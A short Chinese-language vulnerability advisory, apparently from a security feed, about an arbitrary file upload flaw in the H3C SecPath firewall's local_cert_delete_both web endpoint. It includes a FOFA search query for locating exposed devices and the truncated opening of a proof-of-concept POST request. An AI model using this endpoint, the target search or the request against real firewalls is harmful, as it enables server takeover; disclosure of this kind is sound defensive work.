【紧急程度】:中【漏洞名称】:H3C-SecPath下一代防火墙local_cert_delete_both 任意文件上传漏洞【漏洞描述】:监测到 H3C SecPath 下一代防火墙 /webui/?g=local_cert_delete_both接口 存在任意文件上传漏洞,攻击者通过漏洞上传任意文件获取服务器权限。【漏洞等级】:高危【修复建议】:临时缓解措施:1、建议联系厂商...
H3C SecPath 下一代防火墙 存在任意文件上传漏洞,攻击者通过漏洞获取服务器权限。 fofa title="Web user login" poc POST /webui/?g=local_cert_delete_both HTTP/1.1Host:xx.xx.xx.xxAccept-Encoding:identityContent-Length:345Accept-Language:zh-CN,zh;q=0.8Accept:*/*User-Agent...